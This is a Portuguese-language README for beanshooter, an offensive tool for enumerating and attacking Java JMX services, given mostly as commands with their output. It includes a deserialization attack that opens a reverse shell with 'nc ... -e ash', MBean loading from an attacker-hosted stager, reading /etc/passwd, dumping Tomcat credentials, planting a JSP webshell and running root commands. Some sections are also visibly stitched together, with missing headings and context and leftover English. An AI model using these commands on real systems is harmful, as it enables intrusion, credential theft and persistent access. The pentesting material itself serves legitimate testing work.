beanshooter

Você também pode usar pacotes pré-construídos que são criados para [cada release](https://github.com/qtc-de/beanshooter/releases).
Pacotes pré-construídos para o branch de desenvolvimento são criados automaticamente e podem ser encontrados na página
de *GitHub* [actions page](https://github.com/qtc-de/beanshooter/actions). Também uma imagem docker pré-construída para executar *beanshooter*
[está disponível](#docker-image).

*beanshooter* não inclui *ysoserial* como dependência. Para habilitar o suporte a *ysoserial*, você precisa especificar o caminho
para o seu arquivo ``ysoserial.jar`` como argumento adicional (ex.: ``--yso /opt/ysoserial.jar``) ou alterar o
caminho padrão dentro do [arquivo de configuração beanshooter](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/config.properties) antes de construir o projeto.

*beanshooter* suporta autocompletar para *bash*. Para aproveitar o autocompletar, você precisa ter o projeto
[completion-helpers](https://github.com/qtc-de/completion-helpers) instalado. Se configurado corretamente, basta
copiar o [script de autocompletar](https://github.com/qtc-de/beanshooter/blob/HEAD/resources/bash_completion.d/beanshooter) para sua pasta ``~/.bash_completion.d`` para habilitar
o autocompletar.```console
[qtc@devbox ~]$ cp resources/bash_completion.d/beanshooter ~/bash_completion.d/

### Operações Básicas

---

Operações básicas são operações de propósito geral que podem ser executadas em um serviço JMX. Geralmente são
operações que não têm como alvo um MBean específico ou que têm como alvo um MBean sem suporte interno do beanshooter.

#### Attr

A ação `attr` pode ser usada para obter ou definir atributos em um *MBean* especificado. Para obter os atributos disponíveis,
a ação `info` deve ser usada:```console
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010
...
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+]     Attributes:
[+]         Verbose (type: boolean , writable: true)
[+]         ObjectPendingFinalizationCount (type: int , writable: false)
[+]         HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+]         NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+]         ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+]     Operations:
[+]         void gc()

Quando um valor adicional é especificado, o *beanshooter* tenta definir o atributo correspondente. Para atributos que tenham um tipo diferente de *String*, especificar o tipo do atributo usando a opção `--type` é obrigatório:```console
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose
true

#### Deploy

A ação `deploy` pode ser usada para implantar um *MBean* em um serviço *JMX*. Esta ação **não deve** ser usada para implantar *MBeans* com
suporte padrão, como por exemplo o *TonkaBean*. A implantação de *MBeans* com suporte padrão deve ser feita através das
[operações MBean](#mbean-operations) correspondentes.

Quando o *MBean* que você deseja implantar já é conhecido pelo serviço *JMX*, é suficiente especificar o nome da classe da implementação do
*MBean* e o `ObjectName` desejado:```console
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 javax.management.monitor.StringMonitor qtc.test:type=Monitor
[+] Starting MBean deployment.
[+]
[+] 	Deplyoing MBean: StringMonitor
[+] 	MBean with object name qtc.test:type=Monitor was successfully deployed.

#### Enum

A ação `enum` enumera alguns detalhes de configuração em um endpoint *JMX*. Ela sempre verifica se o endpoint *JMX* requer autenticação e se permite desserialização arbitrária pré-autenticada.```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] 	- Remote MBean server requires authentication.
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] 	- Remote MBeanServer accepted the payload class.
[+] 	  Configuration Status: Non Default

Ao invocar a ação `enum` em um endpoint protegido por *SASL*, o *beanshooter* tenta enumerar o perfil *SASL*
que está configurado para o servidor. Isso só é possível até certo ponto e a configuração *TLS* do servidor
não pode ser enumerada. Se o perfil *SASL* identificado pelo *beanshooter* não funcionar, você deve sempre tentar novamente com/sem
a opção `--ssl`:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4447 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] 	- Remote JMXMP server uses SASL/DIGEST-MD5 SASL profile.
[+] 	  Credentials are requried and the following hostname must be used: iinsecure.example
[+] 	  Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] 	  Vulnerability Status: Non Vulnerable
...

#### Invoke

A ação `invoke` pode ser usada para invocar um método arbitrário em um *MBean* que já foi implantado em um endpoint *JMX*.
Além do endpoint, a ação `invoke` requer o `ObjectName` do *MBean* alvo e a assinatura do método que você
deseja invocar. Se o método especificado espera argumentos, estes também devem ser especificados. A listagem a seguir mostra um exemplo,
de invocação de método sem argumentos, onde o método `vmVersion()` do *MBean* `DiagnosticCommand` é invocado:```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'
OpenJDK 64-Bit Server VM version 11.0.14.1+1
JDK 11.0.14.1

Para tipos de argumento mais complexos que requerem alguma inicialização, você pode usar o *PluginSystem do beanshooter* e definir uma classe personalizada que implementa a [Interface IArgumentProvider](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java).


#### Jolokia

Conforme descrito na [documentação do Jolokia](https://github.com/qtc-de/beanshooter/blob/HEAD/docs/jolokia.md) do *beanshooter*, quase todas as ações do *beanshooter* podem ser usadas juntamente com a opção `--jolokia` para direcionar endpoints *JMX* baseados em *Jolokia*. Além deste suporte genérico para o adaptador *Jolokia JMX*, o *beanshooter* suporta uma ação `jolokia` dedicada. Esta ação pode ser usada para forçar uma conexão de saída de um agente *Jolokia* executando com o modo proxy ativado:```console
[qtc@devbox ~]$ beanshooter jolokia 172.17.0.2 8080 172.17.0.1 4444 --username manager --password admin --ldap
[+] Attempting to trigger outboud connection to 172.17.0.1:4444
[+] Using proxy service URL: service:jmx:Rmi:///jndi/ldap://172.17.0.1:4444/beanshooter
...

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:60052.
0

#### Model

A ação `model` é uma das operações mais poderosas do *beanshooter* e implementa uma técnica
identificada por [Markus Wulftange](https://twitter.com/mwulftange) que permite invocar métodos
*public* e *static* arbitrários do Java. Além disso, métodos de objeto *public* também podem ser invocados em uma
instância de objeto criada pelo usuário. Os únicos requisitos são que os argumentos do método utilizados e a
instância de objeto fornecida (para métodos *non static*) sejam serializáveis.

A listagem a seguir mostra um exemplo de uso, onde um objeto `File` é fornecido como instância de objeto
e a operação `String[] list()` é invocada sobre ele:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
[+] Deploying RequiredModelMBean supporting methods from java.io.File
[+]
[+] 	Deplyoing MBean: RequiredModelMBean
[+] 	MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] 	Available Methods:
[+] 	  - java.lang.String toString()
[+] 	  - int hashCode()
[+] 	  - [Ljava.lang.String; list()
[...]
[+] 	  - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] 	Setting managed resource to: new java.io.File("/")
[+] 	Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
root
var
opt
srv
bin
mnt
dev
proc
etc
usr
lib
tmp
home
run
media
sbin
sys
.dockerenv

Ao invocar métodos *estáticos*, uma instância de objeto também é necessária. No entanto, a classe real da instância do objeto não importa. E.g. se você deseja invocar `getProperties()` de `java.lang.System`, você também poderia usar uma simples `String` como instância de objeto. Apenas o nome da classe especificada importa neste caso:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.lang.System '"does not matter"'
[+] Deploying RequiredModelMBean supporting methods from java.lang.System
[+]
[+] 	Deplyoing MBean: RequiredModelMBean
[+] 	MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] 	Available Methods:
[+] 	  - void runFinalization()
[+] 	  - java.lang.String setProperty(java.lang.String, java.lang.String)
[+] 	  - java.lang.String getProperty(java.lang.String)
[+] 	  - java.lang.String getProperty(java.lang.String, java.lang.String)
[+] 	  - long currentTimeMillis()
[+] 	  - long nanoTime()
[+] 	  - java.lang.SecurityManager getSecurityManager()
[+] 	  - void loadLibrary(java.lang.String)
[+] 	  - java.lang.String mapLibraryName(java.lang.String)
[+] 	  - void load(java.lang.String)
[+] 	  - java.lang.String lineSeparator()
[+] 	  - java.io.Console console()
[+] 	  - java.nio.channels.Channel inheritedChannel()
[+] 	  - java.util.Properties getProperties()
[+] 	  - void setProperties(java.util.Properties)
[+] 	  - java.lang.String clearProperty(java.lang.String)
[+] 	  - java.util.Map getenv()
[+] 	  - java.lang.String getenv(java.lang.String)
[+] 	  - void gc()
[+] 	  - void wait()
[+] 	  - java.lang.String toString()
[+] 	  - int hashCode()
[+] 	  - java.lang.Class getClass()
[+] 	  - void notify()
[+] 	  - void notifyAll()
[+] 	  - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] 	Setting managed resource to: "does not matter"
[+] 	Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'getProperties()'
java.vm.info
  --> mixed mode
java.runtime.version
  --> 11.0.18+10-alpine-r0
sun.io.unicode.encoding
  --> UnicodeLittle
...

Se você quiser saber mais sobre a técnica implementada pela ação `model`, recomendo fortemente este [post do blog](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html) da [CODE WHITE](https://twitter.com/codewhitesec) que explica em grande detalhe.


#### Serial

A ação `serial` pode ser usada para realizar ataques de desserialização em um endpoint *JMX*. Por padrão, a ação tenta ataques de desserialização após autenticação. Para que isso funcione, o serviço *JMX* alvo precisa permitir acesso não autenticado ou você precisa de credenciais válidas:```console
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] 	Creating ysoserial payload... done.
[+] 	MBeanServer attempted to deserialize the DeserializationCanary class.
[+] 	Deserialization attack was probably successful.

[qtc@devbox ~]$ nc -vlp 4444
[...]
id
uid=0(root) gid=0(root) groups=0(root)

Contra endpoints *JMXMP*, a desserialização pré-autenticada geralmente é possível. Infelizmente, não há como enumerar isso adequadamente durante a ação `enum`. Se você encontrar um endpoint *JMXMP*, deve tentar.

#### Stager

A ação `stager` inicia um servidor stager que pode ser usado para entregar *MBeans*. A criação de um servidor stager para entrega de *MBean* é normalmente feita automaticamente ao usar a ação `deploy` do *beanshooters*. No entanto, às vezes é necessário usar um servidor independente. Ao usar a ação `stager`, você pode especificar o nome de um *MBean* interno a ser entregue (por exemplo, `tonka`) ou a palavra-chave `custom`. Se `custom` foi especificado, as opções `--class-name`, `--object-name` e `--jar-file` são necessárias.```console
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8888 --no-stager
[qtc@devbox ~]$ beanshooter stager 172.17.0.1 8888 tonka
[+] Creating HTTP server on: 172.17.0.1:8888
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /93691b8bae4143f087f7a3123641b20d
[+] Starting HTTP server.
[+] 
[+] Press Enter to stop listening.
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] 	Class:     de.qtc.beanshooter.tonkabean.TonkaBean
[+] 	Archive:   93691b8bae4143f087f7a3123641b20d
[+] 	Object:    MLetTonkaBean:name=TonkaBean,id=1
[+] 	Codebase:  http://172.17.0.1:8888
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /93691b8bae4143f087f7a3123641b20d
[+] Sending jar file with md5sum: 6568ffb2934cb978dbd141848b8b128a

A execução de comandos via ação `standard` é cega e você não recebe a saída do seu comando.
Além disso, por padrão seu comando é passado para `Runtime.exec(String str)`, que não suporta recursos especiais do shell.
Se você quiser usar recursos do shell, use a opção `--exec-array` e especifique seu comando assim: `'sh -c echo "my cool command" > /tmp/test.txt'`.
Com `--exec-array`, o *beanshooter* divide o comando especificado em três partes e as passa para `Runtime.exec(String[] arr)`.
No entanto, geralmente é recomendado usar a implantação *TonkaBean* para executar comandos:```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] 	Deplyoing MBean: StandardMBean
[+] 	MBean with object name de.qtc.beanshooter:standard=4121868972140 was successfully deployed.
[+]
[+] 	Caught NullPointerException while invoking the newTransformer action.
[+] 	This is expected bahavior and the attack most likely worked :)
[+]
[+] 	Removing MBean with ObjectName de.qtc.beanshooter:standard=4121868972140 from the MBeanServer.
[+] 	MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)

If you want to know more about the technique that is implemented by the `standard` action, I highly
recommend this [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)
by [CODE WHITE](https://twitter.com/codewhitesec) which explains it in great detail.

#### Undeploy

A ação `undeploy` remove o *MBean* com o `ObjectName` especificado do serviço *JMX*:```console
[qtc@devbox ~]$ beanshooter undeploy 172.17.0.2 9010 qtc.test:type=Example 
[+] Removing MBean with ObjectName qtc.test:type=Example from the MBeanServer.
[+] MBean was successfully removed.

load                 load a new MBean from the specified URL
attr                 set or get MBean attributes
deploy               deploys the specified MBean on the JMX server
info                 print server information about the MBean
invoke               invoke the specified method on the MBean
stats                print local information about the MBean
status               checks whether the MBean is registered
undeploy             undeploys the specified MBEAN from the JMX server

### Operações Genéricas do MBean

---

Algumas operações do *beanshooter* estão disponíveis para cada *MBean* e são demonstradas nesta secção.
Estas operações genéricas do *MBean* frequentemente espelham funcionalidades das [operações básicas](#basic-operations),
mas sem a necessidade de especificar um *ObjectName*.

#### Atributo Genérico

A ação `attr` funciona da mesma forma que a ação `attr` das operações básicas. No entanto, o *ObjectName*
já não precisa de ser especificado, uma vez que está contido no *MBean* especificado.```console
[qtc@devbox ~]$ beanshooter tomcat attr 172.17.0.2 1090 users
Users:type=User,username="manager",database=UserDatabase
Users:type=User,username="admin",database=UserDatabase
Users:type=User,username="status",database=UserDatabase

A partir do *beanshooter v4.1.0*, também é possível implantar o *TonkaBean* através da ação [standard](#standard).
A implantação de beans via ação `standard` **não** requer conexões de rede de saída do servidor alvo.

#### Exportação Genérica

Às vezes não é possível servir uma implementação de *MBean* usando o servidor stager do *beanshooter*. Um cenário comum
é que as conexões de saída para sua máquina local estejam bloqueadas. Nessas situações, você pode querer
carregar o *MBean* de outro local, como um serviço *SMB* na rede interna onde você tenha acesso de
gravação.

A ação `export` exporta o arquivo *jar* que implementa o *MBean* especificado e um documento *MLet HTML*
correspondente que é necessário para carregar o *MBean* usando *MLet*. Supondo que você queira servir o *TonkaBean*
a partir de um serviço *SMB* ouvindo em `10.10.10.5`, você poderia usar o seguinte comando:```console
[qtc@devbox ~]$ beanshooter tonka export --export-dir export --stager-url file:////10.10.10.5/share/
[+] Exporting MBean jar file: export/tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: export/index.html
[+] 	Class:     de.qtc.beanshooter.tonkabean.TonkaBean
[+] 	Archive:   tonka-bean-3.0.0-jar-with-dependencies.jar
[+] 	Object:    MLetTonkaBean:name=TonkaBean,id=1
[+] 	Codebase:  file:////10.10.10.5/share/

#### Invocação Genérica

A ação `invoke` pode ser usada para invocar um método arbitrário no *MBean* especificado:```console
[qtc@devbox ~]$ beanshooter tomcat invoke 172.17.0.2 1090 --signature 'findUser(String username)' admin
Users:type=User,username="admin",database=UserDatabase

A informação de `Jar File` indica se uma implementação do *MBean* correspondente está embutida no *beanshooter*. Este arquivo jar é utilizado durante a implantação, se não for substituído usando a opção `--jar-file`. Atualmente, o *TonkaBean* é o único *MBean* que possui um *Jar File* disponível.

#### Status Genérico

A ação `status` verifica se o *MBean* correspondente já está disponível no serviço *JMX*:```console
[qtc@devbox ~]$ beanshooter tonka status 172.17.0.2 9010
[+] MBean Status: not deployed

### Diagnóstico

---

O *DiagnosticCommandMBean* é um *MBean* útil que é frequentemente implantado por padrão em *servidores JMX*.
Ele implementa vários métodos diferentes que são interessantes do ponto de vista ofensivo. Alguns
deles são implementados como operações do *beanshooter*. Outros podem, é claro, ser invocados manualmente.

#### Leitura de Diagnóstico

A operação `read` pode ser usada para ler arquivos de texto no servidor *MBean*. A operação usa o
método `addCompilerDirective` para causar uma exceção que contém o conteúdo do arquivo de texto
especificado:```console
[qtc@devbox ~]$ beanshooter diagnostic read 172.17.0.2 1090 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

#### Arquivo de Log de Diagnóstico

A ação `logfile` pode ser usada para alterar a localização do arquivo de log da *JVM*:```console
[qtc@devbox ~]$ beanshooter diagnostic logfile 172.17.0.2 1090 /tmp/test.log
[+] Logfile path was successfully set to /tmp/test.log

#### Diagnóstico Cmdline

A ação `cmdline` imprime a linha de comando com que a *JVM* foi iniciada:```console
[qtc@devbox ~]$ beanshooter diagnostic cmdline 172.17.0.2 1090
VM Arguments:
jvm_args: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp -Djava.rmi.server.hostname=iinsecure.example -Djavax.net.ssl.keyStorePassword=password -Djavax.net.ssl.keyStore=/opt/store.p12 -Djavax.net.ssl.keyStoreType=pkcs12 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.local.only=false -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.port=1090 -Dcom.sun.management.jmxremote.rmi.port=1099
java_command: org.apache.catalina.startup.Bootstrap start
java_class_path (initial): /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
Launcher Type: SUN_STANDARD

### HotSpot

---

O *HotSpotDiagnosticMXBean* fornece uma interface para gerenciar a *Máquina Virtual HotSpot*
e suporta alguns métodos que são úteis de uma perspectiva ofensiva.

#### Dump do HotSpot

A ação `dump` cria um heapdump e o salva em um local arbitrário no servidor de aplicação.
O único requisito é que o dump seja salvo como um arquivo com a extensão `.hprof`:```console
[qtc@devbox ~]$ beanshooter hotspot dump 172.17.0.2 1090 /tmp/dump.hprof
[+] Heapdump file /tmp/dump.hprof was created successfully.

#### HotSpot get

A ação `get` permite obter o valor da opção especificada:```console
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: false
[+] Writable: true

### MLet

---

O *MLetMBean* é um *MBean* bem conhecido que pode ser usado para carregar *MBeans* adicionais pela rede. Ele já é implicitamente usado pela ação `deploy` do *beanshooters*, mas também pode ser invocado manualmente usando a operação `mlet`.

#### MLet Load

O único método *MLet* atualmente implementado é a operação `load` que pode ser usada para carregar uma classe *MBean* de uma *URL* especificada pelo usuário:```console
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] 	Deplyoing MBean: MLet
[+] 	MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] 	Creating HTTP server on: 172.17.0.1:8000
[+] 		Creating MLetHandler for endpoint: /
[+] 		Creating JarHandler for endpoint: /3584de270132420aaf0812366bc46035
[+] 		Starting HTTP server... 
[+] 		
[+] 	Incoming request from: iinsecure.example
[+] 	Requested resource: /
[+] 	Sending mlet:
[+]
[+] 		Class:     de.qtc.beanshooter.tonkabean.TonkaBean
[+] 		Archive:   3584de270132420aaf0812366bc46035
[+] 		Object:    MLetTonkaBean:name=TonkaBean,id=1
[+] 		Codebase:  http://172.17.0.1:8000
[+]
[+] 	Incoming request from: iinsecure.example
[+] 	Requested resource: /3584de270132420aaf0812366bc46035
[+] 	Sending jar file with md5sum: b2f7040f7d8f2d1f40b205d631ff7356
[+]
[+] MBean was loaded successfully.

### Recoder

---

O *FlightRecorderMXBean* fornece uma interface para gerenciar o *Flight Recorder* e suporta alguns métodos que são interessantes de uma perspectiva ofensiva.

#### Recoder new

A operação `new` inicia uma nova gravação. O ID de gravação retornado pode ser usado como alvo para outras operações:```console
[qtc@devbox ~]$ beanshooter recorder new 172.17.0.2 1090
[+] Requesting new recording on the MBeanServer.
[+] New recording created successfully with ID: 1

#### Recoder dump

Enquanto uma gravação está ativa, seu conteúdo pode ser despejado usando a ação `dump`. Isso armazena as informações da gravação em um arquivo de despejo no *servidor JMX*:```console
[qtc@devbox ~]$ beanshooter recorder dump 172.17.0.2 1090 1 /tmp/dump.dat
[+] Recording with ID 1 was successfully dumped to /tmp/dump.dat

#### Recorder save

Após uma gravação ser interrompida, ela pode ser salva usando a ação `save`. Em contraste com a ação `dump`, isso salva a gravação na máquina local em vez de no servidor da aplicação.```console
[qtc@devbox ~]$ beanshooter recorder save 172.17.0.2 1090 1 recording.dat
[+] Saving recording with ID: 1
[+] Writing recording data to: /home/qtc/recording.dat

Quando invocado com dois argumentos, os nomes de usuário são armazenados no primeiro local especificado, as senhas no segundo:```console
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 users.txt passwords.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/users.txt
[+] Passwords dumped to /home/qtc/passwords.txt

#### Escrita no Tomcat

A operação `write` escreve um arquivo parcialmente controlado em uma localização arbitrária no servidor de aplicação. Esta ação pode ser usada para implantar de forma confiável uma webshell em um serviço *Tomcat*:```console
[qtc@devbox ~]$ beanshooter tomcat write 172.17.0.2 1090 /opt/webshell-cli/webshells/webshell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Writing local file /opt/webshell-cli/webshells/webshell.jsp to server location /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] 	Current user database is at conf/tomcat-users.xml
[+] 	Current user database is readonly
[+] 	Adjusting readonly property to make it writable.
[+] 	Changing database path to /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] 	Creating new role containing the local file content.
[+] 	Saving modified user database.
[+] 	Restoring readonly property.
[+] 	Restoring pathname property.
[+] All done.
[qtc@devbox ~]$ webshell-cli http://172.17.0.2:8080/shell.jsp
[root@d475fdb21692 /usr/local/tomcat]$ id
uid=0(root) gid=0(root) groups=0(root)

O último argumento da operação exec deve ser uma string. Quando a opção `--shell` não é usada, essa string é dividida por espaços (sensível a aspas) e passada como um array para a classe `ProcessBuilder` no lado do servidor.

Se `--shell` for usado, a string do shell especificada é dividida por espaços e o array resultante é unido com a string de argumento especificada antes de passá-la para a classe `ProcessBuilder`. Isso permite uma execução semelhante ao shell com caracteres especiais do shell interpretados corretamente.```console
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 --shell 'ash -c' 'echo $HOSTNAME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOSTNAME
[+] The call was successful
[+]
[+] Server response:
fee2d783023b

#### Tonka Shell

A ação `shell` abre um shell de comando onde você pode especificar comandos que são executados no servidor *JMX*. O shell não é totalmente interativo e representa apenas um invólucro em torno do método `Runtime.exec` do *Java*. No entanto, suporte básico para variáveis de ambiente e um diretório de trabalho atual é implementado:```console
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
[[email protected] /]$ cd /home
[[email protected] /home]$ !env test=example
[[email protected] /home]$ echo $test
example

#### Tonka Upload

A ação `upload` pode ser usada para enviar um arquivo para o servidor *JMX*:```console
[qtc@devbox ~]$ beanshooter tonka upload 172.17.0.2 9010 file.dat /tmp
[+] Uploading local file /home/qtc/file.dat to path /tmp on the MBeanSerer.
[+] 33 bytes were written to /tmp/file.dat

### JMXMP

---

serviços *JMX* podem usar diferentes tipos de conector. O conector de longe mais comumente usado é *Java RMI*, que
permite acesso a *JMX* baseado no protocolo *Java RMI*. Outro conector popular é o *Protocolo de Mensagens JMX*
(*JMXMP*) que, apesar de estar desatualizado, ainda é encontrado com bastante frequência. *beanshooter* tem suporte embutido para *JMXMP*
e tenta conectar via *JMXMP* ao usar a opção `--jmxmp`:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4444 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] 	- Remote JMXMP server does not use SASL.
[+] 	  Login is possible without specifying credentials.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] 	- JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] 	  Configuration Status: Undecided
[+]
[+] Checking available MBeans:
[+]
[+] 	- 22 MBeans are currently registred on the MBean server.
[+] 	  Found 0 non default MBeans.

### Suporte ao Jolokia

---

A partir da *v4.0.0*, o *beanshooter* suporta [Jolokia](https://github.com/rhuss/jolokia) endpoints JMX baseados em Jolokia.
Estabelecer conexões a um endpoint baseado em *Jolokia* requer o formato de destino usual e a flag `--jolokia`:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 8080 --jolokia --username manager --password admin
[+] Checking specified credentials:
[+]
[+] 	- Login successful! The specified credentials are correct.
[+] 	  Username: manager  - Password: admin
[+]
[+] Checking Jolokia Version:
[+]
[+] 	- Agent Version 1.7.1 - Protocol Version: 7.2
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] Checking whether Jolokia Proxy Mode is enabled:
[+]
[+] 	- Jolokia Proxy Mode is enabled! You may connect to backend JMX services.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] 	- 75 MBeans are currently registred on the MBean server.
[+] 	  Listing 56 non default MBeans:
...

### Servidor de Exemplo

---

![](https://github.com/qtc-de/beanshooter/workflows/example%20server%20-%20master/badge.svg?branch=master)
![](https://github.com/qtc-de/beanshooter/workflows/example%20server%20-%20develop/badge.svg?branch=develop)

A maioria dos exemplos apresentados acima é baseada no [jmx-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Fjmx-example-server)
e no [tomcat-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Ftomcat-example-server).
Estes servidores estão contidos neste repositório na pasta [docker](https://github.com/qtc-de/beanshooter/blob/HEAD/docker) e podem ser usados para praticar enumeração *JMX*.
Você pode construir os containers correspondentes você mesmo ou carregá-los diretamente do *GitHub Container Registry*.

Copyright 2023, Tobias Neitzel e os contribuidores do *beanshooter*.